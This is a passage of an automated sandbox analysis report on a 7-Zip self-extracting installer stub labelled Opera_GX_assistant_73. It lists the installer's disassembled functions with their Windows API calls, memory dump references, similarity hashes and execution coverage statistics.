                                                                                                                                                                                                                Function 00404571 Relevance: 6.1, APIs: 4, Instructions: 66COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00406D34,00000000,?,?,00405397,?,7ZSfx%03x.cmd), ref: 00404594
                                                                                                                                                                                                                • GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,00405397,?,7ZSfx%03x.cmd), ref: 004045B1
                                                                                                                                                                                                                • wsprintfW.USER32 ref: 004045E7
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00404602
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: PathTemp$AttributesFilewsprintf
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1746483863-0
                                                                                                                                                                                                                • Opcode ID: 82427edfe5bfc4f19eec22ff1e03e6e09f811527fc585024896cf2e26f26031f
                                                                                                                                                                                                                • Instruction ID: 38ee7099452fd1027c0558441710595ee25a108be248788551c438e886588400
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 82427edfe5bfc4f19eec22ff1e03e6e09f811527fc585024896cf2e26f26031f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DB112472100204BFD7119F59DC84AADB7F8FF84354F10802EF905972E1DBB9A950CB98
                                                                                                                                                                                                                Function 0040C2CE Relevance: 6.1, APIs: 4, Instructions: 58COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _CxxThrowException.MSVCRT(00100EC3,00415FC8), ref: 0040C2F9
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000004,0041839C,0041839C,00000000,?,0040C3C6,00000000,0040D7BD,0041839C,0040332B,00000000,00000000,00404A21,?,?,?), ref: 0040C321
                                                                                                                                                                                                                • memcpy.MSVCRT(00000000,00000000,00000004,0041839C,0041839C,00000000,?,0040C3C6,00000000,0040D7BD,0041839C,0040332B,00000000,00000000,00404A21,?), ref: 0040C34A
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000,0041839C,0041839C,00000000,?,0040C3C6,00000000,0040D7BD,0041839C,0040332B,00000000,00000000,00404A21,?,?,?), ref: 0040C355
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@??3@ExceptionThrowmemcpy
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3462485524-0
                                                                                                                                                                                                                • Opcode ID: 8993675b501ddc973c06e67f6b830ad4b958660d0c75312d76430f3baba84cf0
                                                                                                                                                                                                                • Instruction ID: a52cf72bba6676f7490f1024090531b7bd79135e1d2ccc858ac5def135e82823
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8993675b501ddc973c06e67f6b830ad4b958660d0c75312d76430f3baba84cf0
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7211E572600304ABCB289F56C9C1D5BF7E9AB84350710CA3FF919E7681C775E8864758
                                                                                                                                                                                                                Function 00408A2F Relevance: 6.1, APIs: 4, Instructions: 57COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 004071EC: GetDlgItem.USER32(?,?), ref: 004071F8
                                                                                                                                                                                                                  • Part of subcall function 00407209: GetDlgItem.USER32(?,?), ref: 00407216
                                                                                                                                                                                                                  • Part of subcall function 00407209: ShowWindow.USER32(00000000,?), ref: 0040722D
                                                                                                                                                                                                                • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00408A77
                                                                                                                                                                                                                • SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 00408A97
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B7), ref: 00408AAA
                                                                                                                                                                                                                • SetWindowLongW.USER32(00000000,000000FC,Function_00007852), ref: 00408AB8
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00408AC8), ref: 00408727
                                                                                                                                                                                                                  • Part of subcall function 004086FE: LoadIconW.USER32(00000000), ref: 0040872A
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetSystemMetrics.USER32(00000032), ref: 0040873E
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetSystemMetrics.USER32(00000031), ref: 00408743
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00408AC8), ref: 0040874C
                                                                                                                                                                                                                  • Part of subcall function 004086FE: LoadImageW.USER32(00000000), ref: 0040874F
                                                                                                                                                                                                                  • Part of subcall function 004086FE: SendMessageW.USER32(?,00000080,00000001,?), ref: 0040876F
                                                                                                                                                                                                                  • Part of subcall function 004086FE: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408778
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetDlgItem.USER32(?,000004B2), ref: 00408794
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetDlgItem.USER32(?,000004B2), ref: 0040879E
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetWindowLongW.USER32(?,000000F0), ref: 004087AA
                                                                                                                                                                                                                  • Part of subcall function 004086FE: SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087B9
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetDlgItem.USER32(?,000004B5), ref: 004087C7
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetDlgItem.USER32(?,000004B5), ref: 004087D5
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetWindowLongW.USER32(?,000000F0), ref: 004087E1
                                                                                                                                                                                                                  • Part of subcall function 004086FE: SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087F0
                                                                                                                                                                                                                  • Part of subcall function 00407BBF: GetDlgItem.USER32(?,000004B6), ref: 00407BCC
                                                                                                                                                                                                                  • Part of subcall function 00407BBF: SetFocus.USER32(00000000,?,?,00407CB3,000004B6,?), ref: 00407BD3
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3043669009-0
                                                                                                                                                                                                                • Opcode ID: 1f0e94b95f020d3b8e77b37237e9aadbc50514f1cf521aa7691f1bf8f68bcbb1
                                                                                                                                                                                                                • Instruction ID: 89f3b88826d8887572c5d6fe444f9f02d0f5d57ef80b66f4cb10b8e9da8ac73b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1f0e94b95f020d3b8e77b37237e9aadbc50514f1cf521aa7691f1bf8f68bcbb1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BA11A975E403146BCB10EBA99C09FDA77FCAB84704F10447FB652E32D1DAB8E9408758
                                                                                                                                                                                                                Function 004070CA Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 004070F1
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000031), ref: 00407117
                                                                                                                                                                                                                • CreateFontIndirectW.GDI32(?), ref: 00407126
                                                                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 00407155
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1900162674-0
                                                                                                                                                                                                                • Opcode ID: ee45daaef24bc28aa4936f7b9027f65fc4e36ca63f23fb62e3441661ca62ae1a
                                                                                                                                                                                                                • Instruction ID: 7ca149eb978450d9eaaa00a785ca09fbf38d10ddd3a5f9416087942f21ed5d96
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ee45daaef24bc28aa4936f7b9027f65fc4e36ca63f23fb62e3441661ca62ae1a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 601133B5A00205EFDB149F94DC88FEAB7B8EB44300F0580AAED15A7391DB74AE44CB54
                                                                                                                                                                                                                Function 00408589 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 004085C3
                                                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 004085D5
                                                                                                                                                                                                                • PtInRect.USER32(?,?,?), ref: 004085E4
                                                                                                                                                                                                                  • Part of subcall function 00407FEB: KillTimer.USER32(?,00000001,?,004085F9), ref: 00407FF9
                                                                                                                                                                                                                • CallNextHookEx.USER32(?,?,?), ref: 00408606
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ClientRect$CallHookKillNextScreenTimer
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3015594791-0
                                                                                                                                                                                                                • Opcode ID: 67cc68fca27d81dcad1998da31b7a21cb57a8bde74af4e36de8cdfd47b2d5014
                                                                                                                                                                                                                • Instruction ID: a9507084e86a50c26018d12a95ccdb9cd04dbf8e5f515733648f13949fbe8a17
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 67cc68fca27d81dcad1998da31b7a21cb57a8bde74af4e36de8cdfd47b2d5014
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B1012931200109EFDB10AFA9EE44EEB7BA5FF44340B04843EF946A62A1DF35E851DB59
                                                                                                                                                                                                                Function 00404148 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00403116: GetWindowTextLengthW.USER32(?), ref: 00403127
                                                                                                                                                                                                                  • Part of subcall function 00403116: GetWindowTextW.USER32(004031A0,00000000,00000001), ref: 00403144
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00414778,00414780), ref: 00404194
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00414778,00414780), ref: 0040419C
                                                                                                                                                                                                                • SetWindowTextW.USER32(?,?), ref: 004041A9
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 004041B4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@TextWindow$Length
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2308334395-0
                                                                                                                                                                                                                • Opcode ID: 5530cb6251c639925ee10925c66be952b479ff2269ea4a81fe523976cbf30cde
                                                                                                                                                                                                                • Instruction ID: 8203e9935672bf19afbfd2d9b02dfcce5b04130e2821ee87a37bdffe64818393
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5530cb6251c639925ee10925c66be952b479ff2269ea4a81fe523976cbf30cde
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 00F0FF72D0410CBACF01BFA1DD46CDE7BB8AE04348F10446AF505B20A1EB75AA948794
                                                                                                                                                                                                                Function 00407945 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetObjectW.GDI32(?,0000005C,?), ref: 00407960
                                                                                                                                                                                                                • CreateFontIndirectW.GDI32(?), ref: 00407976
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B5), ref: 0040798A
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 00407996
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateFontIndirectItemMessageObjectSend
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2001801573-0
                                                                                                                                                                                                                • Opcode ID: cf5f9feb201e3eb52ad9ab8d19ded081f29c03fbfabb12ca70d1e47154dfdd2c
                                                                                                                                                                                                                • Instruction ID: 6a17f5e8e35155f57439c70a91428e418c09d7387c40aa3fbc77a88a27bb5ba5
                                                                                                                                                                                                                • Opcode Fuzzy Hash: cf5f9feb201e3eb52ad9ab8d19ded081f29c03fbfabb12ca70d1e47154dfdd2c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8DF054B1900704ABE7205BA9DD09FC77FBCAB84B01F048039BA11E21D5DBB4E401CA29
                                                                                                                                                                                                                Function 00401DB9 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetParent.USER32(?), ref: 00401DBE
                                                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00401DD7
                                                                                                                                                                                                                • ScreenToClient.USER32(00000000,?), ref: 00401DE5
                                                                                                                                                                                                                • ScreenToClient.USER32(00000000,?), ref: 00401DEC
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ClientScreen$ParentRectWindow
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2099118873-0
                                                                                                                                                                                                                • Opcode ID: 9ac7bb66e59a287b07c9635548890c60333ad6437c4a5ad200794121c1393770
                                                                                                                                                                                                                • Instruction ID: f8f94db76321b844ec6104e6d5447e13ac28992312c2680a702f521ad6fa1c41
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9ac7bb66e59a287b07c9635548890c60333ad6437c4a5ad200794121c1393770
                                                                                                                                                                                                                • Instruction Fuzzy Hash: CAE086722042166BD7105BE5FC88C8B7FBDEFC5766700447AF94592130C7309C10DA71
                                                                                                                                                                                                                Function 004111D9 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 243COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00410B43: ??2@YAPAXI@Z.MSVCRT(0000000C,000000FF,00411309,00415D94,00000001,?,?,00000000), ref: 00410B48
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000,00415D94,00000001,?,?,00000000), ref: 0041130A
                                                                                                                                                                                                                  • Part of subcall function 0040D5B6: ??2@YAPAXI@Z.MSVCRT(?,?,?,?,004102C5,00010000), ref: 0040D5C9
                                                                                                                                                                                                                  • Part of subcall function 0040D5B6: memmove.MSVCRT(00000000,?,?,?,?,?,004102C5,00010000), ref: 0040D5E3
                                                                                                                                                                                                                  • Part of subcall function 0040D5B6: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,004102C5,00010000), ref: 0040D5F3
                                                                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000014,00000000,00415D94,00000001,?,?,00000000), ref: 00411342
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??2@$??3@$memmove
                                                                                                                                                                                                                • String ID: t]A
                                                                                                                                                                                                                • API String ID: 4294387087-2725727105
                                                                                                                                                                                                                • Opcode ID: 28b8c6e6dd5745b9cd65de66c47c6ecf14d0a0dead238fcfffcedf5705f07637
                                                                                                                                                                                                                • Instruction ID: 81c2ab0cc22745a9f4371f108cdfb949ce4a1963edcd174408460c6a5bfcd2f6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 28b8c6e6dd5745b9cd65de66c47c6ecf14d0a0dead238fcfffcedf5705f07637
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DEB1D2B1900218DFCB14DF9AC8909DDBBB4BF58348F50813EF919A7261DB38A989CF54
                                                                                                                                                                                                                Function 00407ECD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@wsprintf
                                                                                                                                                                                                                • String ID: (%d%s)
                                                                                                                                                                                                                • API String ID: 3815514257-2087557067
                                                                                                                                                                                                                • Opcode ID: 2d779ec3873a2fda28ba808a340ce29c8deb2edc06c71eb1e141682222f80fe9
                                                                                                                                                                                                                • Instruction ID: 8a36046f79fd413c4cbdc181e856807dfed79737d16026c8b1b8b17132c7f2e7
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2d779ec3873a2fda28ba808a340ce29c8deb2edc06c71eb1e141682222f80fe9
                                                                                                                                                                                                                • Instruction Fuzzy Hash: E5F09671800218AFCF11BB55DD46EDEB7B8AF00308F1045BBB512B14E2DAB5A6548A58
                                                                                                                                                                                                                Function 004044AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 004044BA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Message
                                                                                                                                                                                                                • String ID: 7-Zip SFX$Could not allocate memory
                                                                                                                                                                                                                • API String ID: 2030045667-3806377612
                                                                                                                                                                                                                • Opcode ID: 330f658d4037a0d44fb23f8f268cc4495736feb570957682d21f2dac55989a64
                                                                                                                                                                                                                • Instruction ID: 752229e11c10a15970a66ffa1679a9ec66b8eca087eb26f5146150477e14d876
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 330f658d4037a0d44fb23f8f268cc4495736feb570957682d21f2dac55989a64
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BBB011B03C0B0CBAE20003A08C0BFC020A00BC8F83F220822BA28EE0C0EAC800E0A00C

                                                                                                                                                                                                                Execution Graph

                                                                                                                                                                                                                Execution Coverage:5.5%
                                                                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                Signature Coverage:2.6%
                                                                                                                                                                                                                Total number of Nodes:2000
                                                                                                                                                                                                                Total number of Limit Nodes:41
